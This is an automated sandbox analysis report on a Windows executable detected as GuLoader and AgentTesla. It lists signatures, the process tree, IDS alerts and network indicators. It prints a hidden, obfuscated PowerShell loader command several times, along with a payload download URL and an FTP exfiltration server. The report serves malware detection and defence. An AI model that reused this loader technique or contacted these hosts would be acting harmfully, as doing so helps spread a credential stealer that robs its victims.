Edit tour

Windows Analysis Report
24100311.EXE.exe

Overview

General Information

Sample name:	24100311.EXE.exe
Analysis ID:	1524867
MD5:	36c593a2ceb2680510f2094cd6e4010d
SHA1:	03f1e81a26c614bcac620bbcd7a90f078e7d6146
SHA256:	faa7829ce9f42c0f66f754bda78ed09257191d44be15b16583e1a2df1eceff64
Tags:	exeuser-adam_zbadam
Infos:

Detection

AgentTesla, GuLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Early bird code injection technique detected

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected AgentTesla

Yara detected GuLoader

AI detected suspicious sample

Found suspicious powershell code related to unpacking or dynamic code loading

Hides threads from debuggers

Loading BitLocker PowerShell Module

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Queues an APC in another process (thread injection)

Suspicious powershell command line found

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Writes to foreign memory regions

Checks if the current process is being debugged

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

PE file contains executable resources (Code or Archives)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Msiexec Initiated Connection

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses FTP

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

24100311.EXE.exe (PID: 7336 cmdline: "C:\Users\user\Desktop\24100311.EXE.exe" MD5: 36C593A2CEB2680510F2094CD6E4010D)

powershell.exe (PID: 7372 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden "$Forglemmelser=Get-Content -Raw 'C:\Users\user\AppData\Local\Decentraliseringers\misdidived\Unengrossing\Independable.Ovi';$Fellifluous=$Forglemmelser.SubString(7655,3);.$Fellifluous($Forglemmelser)" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 7380 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

msiexec.exe (PID: 7860 cmdline: "C:\Windows\syswow64\msiexec.exe" MD5: 9D09DC1EDA745A5F87553048E57620CF)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://0xmrmagnezi.github.io/malware%20analysis/AgentTesla/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000006.00000002.2947539010.0000000021FB1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000002.2947539010.0000000021FB1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000006.00000002.2947539010.0000000021FF7000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000001.00000002.2049174087.000000000A206000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Process Memory Space: msiexec.exe PID: 7860	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: msiexec.exe PID: 7860	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Click to see the 1 entries

Sigma Signatures

Sigma detected: Msiexec Initiated Connection

Source: Network Connection

Author: frack113: Data: DestinationIp: 109.73.128.91, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Windows\SysWOW64\msiexec.exe, Initiated: true, ProcessId: 7860, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49736

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden "$Forglemmelser=Get-Content -Raw 'C:\Users\user\AppData\Local\Decentraliseringers\misdidived\Unengrossing\Independable.Ovi';$Fellifluous=$Forglemmelser.SubString(7655,3);.$Fellifluous($Forglemmelser)", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden "$Forglemmelser=Get-Content -Raw 'C:\Users\user\AppData\Local\Decentraliseringers\misdidived\Unengrossing\Independable.Ovi';$Fellifluous=$Forglemmelser.SubString(7655,3);.$Fellifluous($Forglemmelser)", CommandLine|base64offset|contains: v,)^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\24100311.EXE.exe", ParentImage: C:\Users\user\Desktop\24100311.EXE.exe, ParentProcessId: 7336, ParentProcessName: 24100311.EXE.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden "$Forglemmelser=Get-Content -Raw 'C:\Users\user\AppData\Local\Decentraliseringers\misdidived\Unengrossing\Independable.Ovi';$Fellifluous=$Forglemmelser.SubString(7655,3);.$Fellifluous($Forglemmelser)", ProcessId: 7372, ProcessName: powershell.exe

Suricata Signatures

ET MALWARE AgentTesla Exfil via FTP

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-03T10:51:43.838009+0200	2029927	1	A Network Trojan was detected	192.168.2.4	49737	185.146.87.128	21	TCP

ETPRO MALWARE Agent Tesla CnC Exfil Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-03T10:51:44.445474+0200	2855542	1	A Network Trojan was detected	192.168.2.4	49738	185.146.87.128	49543	TCP
2024-10-03T10:51:44.450939+0200	2855542	1	A Network Trojan was detected	192.168.2.4	49738	185.146.87.128	49543	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-03T10:51:39.704429+0200	2803270	2	Potentially Bad Traffic	192.168.2.4	49736	109.73.128.91	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: 24100311.EXE.exe

Avira: detected

Multi AV Scanner detection for submitted file

Source: 24100311.EXE.exe

Virustotal: Detection: 15%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 88.9% probability

Source: 24100311.EXE.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 109.73.128.91:443 -> 192.168.2.4:49736 version: TLS 1.2

Source: 24100311.EXE.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdb source: powershell.exe, 00000001.00000002.2044142173.000000000724B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: e.pdb1 source: powershell.exe, 00000001.00000002.2047324172.00000000081C0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: stem.Core.pdbg#1sO' source: powershell.exe, 00000001.00000002.2047324172.00000000081C0000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\24100311.EXE.exe	Code function: 0_2_00402902 FindFirstFileW,	0_2_00402902
Source: C:\Users\user\Desktop\24100311.EXE.exe	Code function: 0_2_0040689A FindFirstFileW,FindClose,	0_2_0040689A
Source: C:\Users\user\Desktop\24100311.EXE.exe	Code function: 0_2_00405C4E CloseHandle,GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_00405C4E

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2029927 - Severity 1 - ET MALWARE AgentTesla Exfil via FTP : 192.168.2.4:49737 -> 185.146.87.128:21
Source: Network traffic	Suricata IDS: 2855542 - Severity 1 - ETPRO MALWARE Agent Tesla CnC Exfil Activity : 192.168.2.4:49738 -> 185.146.87.128:49543

Source: global traffic

TCP traffic: 192.168.2.4:49738 -> 185.146.87.128:49543

Source: Joe Sandbox View

IP Address: 185.146.87.128 185.146.87.128

Source: Joe Sandbox View

ASN Name: GTSCEGTSCentralEuropeAntelGermanyCZ GTSCEGTSCentralEuropeAntelGermanyCZ

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic

Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49736 -> 109.73.128.91:443

Source: unknown

FTP traffic detected: 185.146.87.128:21 -> 192.168.2.4:49737 220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 14 of 50 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 14 of 50 allowed.220-Local time is now 11:51. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 14 of 50 allowed.220-Local time is now 11:51. Server port: 21.220-This is a private system - No anonymous login 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 14 of 50 allowed.220-Local time is now 11:51. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 14 of 50 allowed.220-Local time is now 11:51. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server.220 You will be disconnected after 15 minutes of inactivity.

Source: global traffic

HTTP traffic detected: GET /bazyland/whwWkpNOyoMrBlLiWEjvE44.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: www.corella.roCache-Control: no-cache

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

Source: global traffic	DNS traffic detected: DNS query: www.corella.ro
Source: global traffic	DNS traffic detected: DNS query: ftp.rusticpensiune.ro

Source: msiexec.exe, 00000006.00000002.2947539010.0000000022005000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.2947539010.0000000021FF7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ftp.rusticpensiune.ro
Source: 24100311.EXE.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: powershell.exe, 00000001.00000002.2042824173.0000000005ABC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000001.00000002.2040294187.0000000004BA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000001.00000002.2040294187.0000000004A51000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.2947539010.0000000021FF7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000001.00000002.2040294187.0000000004BA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000001.00000002.2040294187.0000000004A51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lBtq
Source: powershell.exe, 00000001.00000002.2042824173.0000000005ABC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000001.00000002.2042824173.0000000005ABC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000001.00000002.2042824173.0000000005ABC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000001.00000002.2040294187.0000000004BA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000001.00000002.2042824173.0000000005ABC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: msiexec.exe, 00000006.00000002.2931037935.00000000006EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.corella.ro/
Source: msiexec.exe, 00000006.00000002.2931037935.00000000006EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.corella.ro/D5
Source: msiexec.exe, 00000006.00000002.2946495620.0000000021670000.00000004.00001000.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.2931037935.00000000006EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.corella.ro/bazyland/whwWkpNOyoMrBlLiWEjvE44.bin
Source: msiexec.exe, 00000006.00000002.2931037935.00000000006EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.corella.ro/bazyland/whwWkpNOyoMrBlLiWEjvE44.binA
Source: msiexec.exe, 00000006.00000002.2946495620.0000000021670000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.corella.ro/bazyland/whwWkpNOyoMrBlLiWEjvE44.binKokisUrawww.creditesimplebm.ro/tmp-image/

Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736

Source: unknown

HTTPS traffic detected: 109.73.128.91:443 -> 192.168.2.4:49736 version: TLS 1.2

Source: C:\Users\user\Desktop\24100311.EXE.exe

Code function: 0_2_004056E3 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_004056E3

Source: C:\Users\user\Desktop\24100311.EXE.exe

Code function: 0_2_004035D8 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,ExitProcess,CoUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

0_2_004035D8

Source: C:\Users\user\Desktop\24100311.EXE.exe	File created: C:\Windows\resources\0809			Jump to behavior
Source: C:\Users\user\Desktop\24100311.EXE.exe	File created: C:\Windows\resources\0809\catapultic.ini			Jump to behavior

Source: C:\Users\user\Desktop\24100311.EXE.exe	Code function: 0_2_00406C5B	0_2_00406C5B
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_072CCFFE	1_2_072CCFFE
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_21F64A58	6_2_21F64A58
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_21F68CA0	6_2_21F68CA0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_21F64188	6_2_21F64188
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_21F69468	6_2_21F69468
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_21F6C6E8	6_2_21F6C6E8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_21F60D58	6_2_21F60D58
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_21F63E40	6_2_21F63E40

Source: 24100311.EXE.exe

Static PE information: invalid certificate

Source: 24100311.EXE.exe

Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: 24100311.EXE.exe, 00000000.00000000.1668582496.00000000004A6000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameprigger hobbledygee.exe8 vs 24100311.EXE.exe
Source: 24100311.EXE.exe	Binary or memory string: OriginalFilenameprigger hobbledygee.exe8 vs 24100311.EXE.exe

Source: 24100311.EXE.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@17/14@2/2

Source: C:\Users\user\Desktop\24100311.EXE.exe

0_2_004035D8

Source: C:\Users\user\Desktop\24100311.EXE.exe

Code function: 0_2_00404983 GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_00404983

Source: C:\Users\user\Desktop\24100311.EXE.exe

Code function: 0_2_004021A2 CoCreateInstance,

0_2_004021A2

Source: C:\Users\user\Desktop\24100311.EXE.exe

File created: C:\Program Files (x86)\Common Files\Glued.lnk

Jump to behavior

Source: C:\Users\user\Desktop\24100311.EXE.exe

File created: C:\Users\user\AppData\Local\Decentraliseringers

Jump to behavior

Source: C:\Windows\SysWOW64\msiexec.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7380:120:WilError_03

Source: C:\Users\user\Desktop\24100311.EXE.exe

File created: C:\Users\user\AppData\Local\Temp\nseDBF2.tmp

Jump to behavior

Source: 24100311.EXE.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process
Source: C:\Windows\SysWOW64\msiexec.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\SysWOW64\msiexec.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\24100311.EXE.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\24100311.EXE.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 24100311.EXE.exe

Virustotal: Detection: 15%

Source: C:\Users\user\Desktop\24100311.EXE.exe

File read: C:\Users\user\Desktop\24100311.EXE.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\24100311.EXE.exe "C:\Users\user\Desktop\24100311.EXE.exe"
Source: C:\Users\user\Desktop\24100311.EXE.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden "$Forglemmelser=Get-Content -Raw 'C:\Users\user\AppData\Local\Decentraliseringers\misdidived\Unengrossing\Independable.Ovi';$Fellifluous=$Forglemmelser.SubString(7655,3);.$Fellifluous($Forglemmelser)"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\syswow64\msiexec.exe"
Source: C:\Users\user\Desktop\24100311.EXE.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden "$Forglemmelser=Get-Content -Raw 'C:\Users\user\AppData\Local\Decentraliseringers\misdidived\Unengrossing\Independable.Ovi';$Fellifluous=$Forglemmelser.SubString(7655,3);.$Fellifluous($Forglemmelser)"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\syswow64\msiexec.exe"	Jump to behavior

Source: C:\Users\user\Desktop\24100311.EXE.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\24100311.EXE.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\24100311.EXE.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\24100311.EXE.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\24100311.EXE.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\24100311.EXE.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\24100311.EXE.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\24100311.EXE.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\24100311.EXE.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\24100311.EXE.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\24100311.EXE.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\24100311.EXE.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\24100311.EXE.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\24100311.EXE.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\24100311.EXE.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\24100311.EXE.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\24100311.EXE.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\24100311.EXE.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\24100311.EXE.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\24100311.EXE.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\24100311.EXE.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\24100311.EXE.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\24100311.EXE.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\24100311.EXE.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\24100311.EXE.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\24100311.EXE.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\24100311.EXE.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\24100311.EXE.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\24100311.EXE.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\24100311.EXE.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\24100311.EXE.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\24100311.EXE.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\24100311.EXE.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\24100311.EXE.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\24100311.EXE.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\24100311.EXE.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\24100311.EXE.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
